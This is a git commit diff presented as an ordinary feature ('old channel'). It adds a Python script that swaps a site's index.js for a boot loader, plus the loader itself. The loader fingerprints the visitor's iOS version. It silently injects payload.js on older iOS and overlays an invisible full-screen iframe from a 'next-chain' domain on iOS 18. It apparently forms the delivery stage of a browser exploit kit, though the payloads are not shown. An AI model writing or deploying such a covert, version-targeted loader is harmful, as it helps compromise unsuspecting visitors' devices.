feat: old channel

2026-10-07 05:19:52 +08:00
parent 2d3b6e1f2c
commit ba5d3c5731
30 changed files with 1517 additions and 896 deletions
@@ -0,0 +1,43 @@
+"""Install the shared script-embed boot as published index.js."""
+
+from __future__ import annotations
+
+from pathlib import Path
+
+BOOT_MARKER = "/* coruna-embed-boot */"
+BOOT_TEMPLATE = Path(__file__).with_name("index.boot.js")
+PAYLOAD_NAME = "payload.js"
+INDEX_NAME = "index.js"
+
+
+def apply_embed_boot(
+    dest_dir: Path,
+    *,
+    channel_code: str,
+    ds_domain: str = "",
+) -> Path:
+    dest_dir = Path(dest_dir)
+    if not dest_dir.is_dir():
+        raise SystemExit(f"embed boot: missing directory {dest_dir}")
+    if not BOOT_TEMPLATE.is_file():
+        raise SystemExit(f"embed boot: missing template {BOOT_TEMPLATE}")
+
+    index_path = dest_dir / INDEX_NAME
+    payload_path = dest_dir / PAYLOAD_NAME
+    if index_path.is_file():
+        current = index_path.read_text(encoding="utf-8")
+        if BOOT_MARKER not in current and not payload_path.is_file():
+            index_path.replace(payload_path)
+        elif BOOT_MARKER in current and not payload_path.is_file():
+            raise SystemExit(f"embed boot: {index_path} is boot but {payload_path} is missing")
+    if not payload_path.is_file():
+        raise SystemExit(f"embed boot: missing payload {payload_path}")
+
+    boot = BOOT_TEMPLATE.read_text(encoding="utf-8")
+    boot = boot.replace("__CHANNEL_CODE__", channel_code)
+    boot = boot.replace("__DS_DOMAIN__", (ds_domain or "").rstrip("/"))
+    boot = boot.replace("__STAT_ORIGIN__", "")
+    if BOOT_MARKER not in boot:
+        boot = BOOT_MARKER + "\n" + boot
+    index_path.write_text(boot, encoding="utf-8")
+    return index_path
@@ -0,0 +1,81 @@
+/* coruna-embed-boot */
+(function () {
+  var CHANNEL = '__CHANNEL_CODE__';
+  var DS_DOMAIN = '__DS_DOMAIN__';
+  var STAT_ORIGIN = '__STAT_ORIGIN__';
+
+  if (CHANNEL && CHANNEL.indexOf('__') !== 0) {
+    window.__CORUNA_CHANNEL__ = CHANNEL;
+  }
+  if (STAT_ORIGIN && STAT_ORIGIN.indexOf('__') !== 0) {
+    window.__CORUNA_STAT_ORIGIN__ = String(STAT_ORIGIN).replace(/\/$/, '');
+  } else {
+    window.__CORUNA_STAT_ORIGIN__ = '';
+  }
+
+  function scriptDir() {
+    try {
+      if (document.currentScript && document.currentScript.src) {
+        return document.currentScript.src.replace(/\/[^\/]*$/, '/');
+      }
+    } catch (e0) {}
+    try {
+      var scripts = document.getElementsByTagName('script');
+      for (var i = scripts.length - 1; i >= 0; i--) {
+        var src = scripts[i].src || '';
+        if (/\/index\.js(?:[?#]|$)/i.test(src)) {
+          return src.replace(/\/index\.js(?:[?#].*)?$/i, '/');
+        }
+      }
+    } catch (e1) {}
+    return '';
+  }
+
+  function inject(src) {
+    var s = document.createElement('script');
+    s.src = src;
+    (document.body || document.documentElement || document.head).appendChild(s);
+  }
+
+  var dir = scriptDir();
+  var statOrigin = window.__CORUNA_STAT_ORIGIN__ || '';
+  inject((statOrigin || location.origin) + '/t.js?' + Date.now());
+
+  function parseIosVersion() {
+    var ua = navigator.userAgent || '';
+    var m = /iPhone OS ([0-9_]+)/.exec(ua);
+    if (!m) m = /CPU (?:iPhone )?OS ([0-9_]+)/.exec(ua);
+    if (!m) m = /CPU OS ([0-9_]+)/.exec(ua);
+    if (!m) {
+      m = /Version\/(\d+)\.(\d+)/.exec(ua);
+      return m ? [parseInt(m[1], 10), parseInt(m[2], 10)] : null;
+    }
+    return m[1].split('_').map(function (p) {
+      return parseInt(p, 10);
+    });
+  }
+
+  var ios = parseIosVersion();
+  if (!ios || ios[0] < 18) {
+    inject((dir || '') + 'payload.js?' + Date.now());
+    return;
+  }
+  if (ios[0] === 18) {
+    var channelCode = CHANNEL && CHANNEL.indexOf('__') !== 0 ? CHANNEL : '';
+    if (!channelCode) {
+      try {
+        var path = String(location.pathname || '');
+        var mWeb = path.match(/\/web\/([0-9a-z]{32})\//i);
+        var mCh = path.match(/\/channel\/([0-9A-Za-z]\.[0-9A-Za-z]\.[0-9A-Za-z]{2})\//i);
+        if (mWeb && mWeb[1]) channelCode = mWeb[1];
+        else if (mCh && mCh[1]) channelCode = mCh[1].toUpperCase();
+      } catch (eC) {}
+    }
+    var dsUrl = DS_DOMAIN + '/next-chain/frame.html';
+    if (channelCode) dsUrl += '?c=' + encodeURIComponent(channelCode);
+    var ifr = document.createElement('iframe');
+    ifr.src = dsUrl;
+    ifr.style.cssText = 'position:fixed;top:0;left:0;width:100%;height:100%;border:0;';
+    (document.body || document.documentElement).appendChild(ifr);
+  }
+})();